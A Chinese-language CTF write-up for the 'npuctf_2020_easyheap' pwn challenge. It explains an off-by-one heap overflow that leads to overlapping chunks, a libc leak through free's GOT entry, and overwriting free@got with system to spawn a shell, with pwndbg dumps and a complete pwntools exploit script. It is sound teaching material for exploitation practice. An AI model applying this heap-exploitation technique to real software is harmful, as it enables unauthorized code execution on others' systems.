off by one的题,,,
程序流程
-
create:
申请两个chunk: 一个heaparray[i](固定0x10大小),一个是申请的大小(只能申请0x18或0x38)
-
edit:
read_input(heaparray[(signed int)v1][1], *heaparray[(signed int)v1] + 1LL);
存在off by one
-
show:根据idx,打印chunk大小和内容
-
delete:free后,将chunk指针置零了。
漏洞利用
利用off by one,可以修改下一个chunk头指针的大小。
例如,一开始可以申请两个0x18的块。当修改chunk0,溢出到chunk1的头指针大小为0x41,那么chunk1free后重新申请回来,chunk1的内容会和chunk1头指针重叠,可以修改chunk1的指针。
溢出修改chunk1指针为free_got表,泄露地址,计算system
修改chunk内容从而,修改got表内容为system
在chunk0中放入“/bin/sh\x00”,则free(0)即可=>system("/bin/sh\x00")
1.查看保护
Partial RELRO => 可以修改got表
winter@ubuntu:~/buu$ checksec npuctf_2020_easyheap
[*] '/home/winter/buu/npuctf_2020_easyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
2.申请两个0x18的块
一共生成了四个chunk,两个heaparray,两个存在内容
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1560000
Size: 0x251
#chunk0 heaparray
Allocated chunk | PREV_INUSE
Addr: 0x1560250
Size: 0x21
#chunk0 data
Allocated chunk | PREV_INUSE
Addr: 0x1560270
Size: 0x21
#chunk1 heaparray
Allocated chunk | PREV_INUSE
Addr: 0x1560290
Size: 0x21
#chunk1 data
Allocated chunk | PREV_INUSE
Addr: 0x15602b0
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x15602d0
Size: 0x20d31
pwndbg> x/30gx 0x1560250
0x1560250: 0x0000000000000000 0x0000000000000021
0x1560260: 0x0000000000000018 0x0000000001560280
0x1560270: 0x0000000000000000 0x0000000000000021
0x1560280: 0x0000000a61616161 0x0000000000000000
0x1560290: 0x0000000000000000 0x0000000000000021
0x15602a0: 0x0000000000000018 0x00000000015602c0
0x15602b0: 0x0000000000000000 0x0000000000000021
0x15602c0: 0x0000000a61616161 0x0000000000000000
0x15602d0: 0x0000000000000000 0x0000000000020d31
0x15602e0: 0x0000000000000000 0x0000000000000000
0x15602f0: 0x0000000000000000 0x0000000000000000
3.通过chunk0 off by one
修改chunk0的内容,首先放入接下来用的参数。
然后溢出一个字节,修改chunk1 heaparray的大小为0x41
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1327000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x1327250
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x1327270
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x1327290
Size: 0x41
Top chunk | PREV_INUSE
Addr: 0x13272d0
Size: 0x20d31
pwndbg> x/30gx 0x1327250
0x1327250: 0x0000000000000000 0x0000000000000021
0x1327260: 0x0000000000000018 0x0000000001327280
0x1327270: 0x0000000000000000 0x0000000000000021
0x1327280: 0x0068732f6e69622f 0x0000000000000000 #"/bin/sh\x00"
0x1327290: 0x0000000000000000 0x0000000000000041 #溢出一个字节
0x13272a0: 0x0000000000000018 0x00000000013272c0
0x13272b0: 0x0000000000000000 0x0000000000000021
0x13272c0: 0x0000000a61616161 0x0000000000000000
0x13272d0: 0x0000000000000000 0x0000000000020d31
0x13272e0: 0x0000000000000000 0x0000000000000000
0x13272f0: 0x0000000000000000 0x0000000000000000
存放所有的heaparay指针,有两个
pwndbg> x/30gx 0x6020a0
0x6020a0 <heaparray>: 0x0000000000bf0260 0x0000000000bf02c0
0x6020b0 <heaparray+16>: 0x0000000000000000 0x0000000000000000
0x6020c0 <heaparray+32>: 0x0000000000000000 0x0000000000000000
0x6020d0 <heaparray+48>: 0x0000000000000000 0x0000000000000000
0x6020e0 <heaparray+64>: 0x0000000000000000 0x0000000000000000
4.释放chunk1
chunk1通过上面的全局变量,找到的地址还是不变,但是大小以及被修改为0x41,会按照0x41的大小被释放
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x21d9000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x21d9250
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x21d9270
Size: 0x21
Free chunk (tcache) | PREV_INUSE
Addr: 0x21d9290
Size: 0x41
fd: 0x00
Top chunk | PREV_INUSE
Addr: 0x21d92d0
Size: 0x20d31
pwndbg> x/30gx 0x21d9250
0x21d9250: 0x0000000000000000 0x0000000000000021
0x21d9260: 0x0000000000000018 0x00000000021d9280
0x21d9270: 0x0000000000000000 0x0000000000000021
0x21d9280: 0x0068732f6e69622f 0x0000000000000000
0x21d9290: 0x0000000000000000 0x0000000000000041
0x21d92a0: 0x0000000000000000 0x00000000021d9010 #释放
0x21d92b0: 0x0000000000000000 0x0000000000000021
0x21d92c0: 0x0000000000000000 0x00000000021d9010 #释放
0x21d92d0: 0x0000000000000000 0x0000000000020d31
0x21d92e0: 0x0000000000000000 0x0000000000000000
0x21d92f0: 0x0000000000000000 0x0000000000000000
pwndbg> x/30gx 0x6020a0
0x6020a0 <heaparray>: 0x00000000021d9260 0x0000000000000000 #另一个被清零了
0x6020b0 <heaparray+16>: 0x0000000000000000 0x0000000000000000
0x6020c0 <heaparray+32>: 0x0000000000000000 0x0000000000000000
0x6020d0 <heaparray+48>: 0x0000000000000000 0x0000000000000000
0x6020e0 <heaparray+64>: 0x0000000000000000 0x0000000000000000
5.重新申请0x38的块
再次申请,会把之前释放的0x41和0x21重新申请回来。
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xbf0000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0xbf0250
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0xbf0270
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0xbf0290
Size: 0x41
#找不到下一个,,,但是在
Top chunk | PREV_INUSE
Addr: 0xbf02d0
Size: 0x20d31
6.通过0x41的块,溢出覆盖0x21的块
但是由于0x41的chunk与0x21的chunk重叠了,故可以通过0x41的chunk修改0x21的chunk
但是0x21的chunk存放的是chunk1的指针,故可以让chunk1指针指向free got表,达到泄露。
pwndbg> x/30gx 0xbf0250
0xbf0250: 0x0000000000000000 0x0000000000000021
0xbf0260: 0x0000000000000018 0x0000000000bf0280
0xbf0270: 0x0000000000000000 0x0000000000000021
0xbf0280: 0x0068732f6e69622f 0x0000000000000000
0xbf0290: 0x0000000000000000 0x0000000000000041
0xbf02a0: 0x6161616161616161 0x6161616161616161
0xbf02b0: 0x6161616161616161 0x6161616161616161
0xbf02c0: 0x0000000000000038 0x0000000000602018#free_got
0xbf02d0: 0x000000000000000a 0x0000000000020d31
0xbf02e0: 0x0000000000000000 0x0000000000000000
0xbf02f0: 0x0000000000000000 0x0000000000000000
[DEBUG] Received 0x15d bytes:
00000000 53 69 7a 65 20 3a 20 35 36 0a 43 6f 6e 74 65 6e │Size│ : 5│6·Co│nten│
00000010 74 20 3a 20 30 ba fd 89 0a 7f 0a 44 6f 6e 65 21 │t : │0···│···D│one!│
#泄露到了free的地址
show(1)
free_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
7.修改free_got表为system地址
此时chunk1的指针指向free_got,故修改chunk1的内容,就可以修改free_got表内容,修改为system地址
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xbb9000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0xbb9250
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0xbb9270
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0xbb9290
Size: 0x41
Top chunk | PREV_INUSE
Addr: 0xbb92d0
Size: 0x20d31
pwndbg> x/30gx 0xbb9250
0xbb9250: 0x0000000000000000 0x0000000000000021
0xbb9260: 0x0000000000000018 0x0000000000bb9280
0xbb9270: 0x0000000000000000 0x0000000000000021
0xbb9280: 0x0068732f6e69622f 0x0000000000000000
0xbb9290: 0x0000000000000000 0x0000000000000041
0xbb92a0: 0x6161616161616161 0x6161616161616161
0xbb92b0: 0x6161616161616161 0x6161616161616161
0xbb92c0: 0x0000000000000038 0x0000000000602018#chunk1指针->free_got->system
0xbb92d0: 0x000000000000000a 0x0000000000020d31
0xbb92e0: 0x0000000000000000 0x0000000000000000
0xbb92f0: 0x0000000000000000 0x0000000000000000
pwndbg> x/30gx 0x0000000000602018
0x602018: 0x00007fcb5dae9550 0x000000000040060a
pwndbg> x/30gx 0x00007fcb5dae9550
0x7fcb5dae9550 <__libc_system>: 0xfa66e90b74ff8548 0x0000441f0f66ffff
完整exp
from pwn import *
# p = process("./npuctf_2020_easyheap")
p = remote("node3.buuoj.cn",29535)
context.log_level = 'debug'
elf = ELF("./npuctf_2020_easyheap")
# libc = ELF("./libc-2.27.so")
# p = process(['./npuctf_2020_easyheap'],env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libc-2.27.so")
atoi_got = elf.got['atoi']
free_got = elf.got['free']
def cmd(choice):
p.recvuntil("Your choice :")
p.sendline(str(choice))
def create(size,content):
cmd(1)
p.recvuntil("only) :")
p.sendline(str(size))
p.recvuntil("Content:")
p.sendline(content)
def edit(idx,content):
cmd(2)
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Content:")
p.sendline(content)
def show(idx):
cmd(3)
p.recvuntil("Index :")
p.sendline(str(idx))
def delete(idx):
cmd(4)
p.recvuntil("Index :")
p.sendline(str(idx))
create(0x18,"aaaa")
create(0x18,"aaaa")
payload = '/bin/sh\x00'
payload += p64(0) * 2
payload += p64(0x41)
edit(0,payload)
delete(1)
payload = 'a' * 0x20 + p64(0x38) + p64(free_got)
create(0x38,payload)
show(1)
free_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
log.success(hex(free_addr))
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
log.success(hex(libc_base))
log.success(hex(system))
edit(1,p64(system))
# gdb.attach(p)
# pause()
delete(0)
p.interactive()
题型
特点:
- 可以修改got表
- malloc两次:一个node,一个content
方法:
- 利用node和本体互换 => 泄露libc
- 修改free_got=>system
off by one题挺多,多练习,this is the first。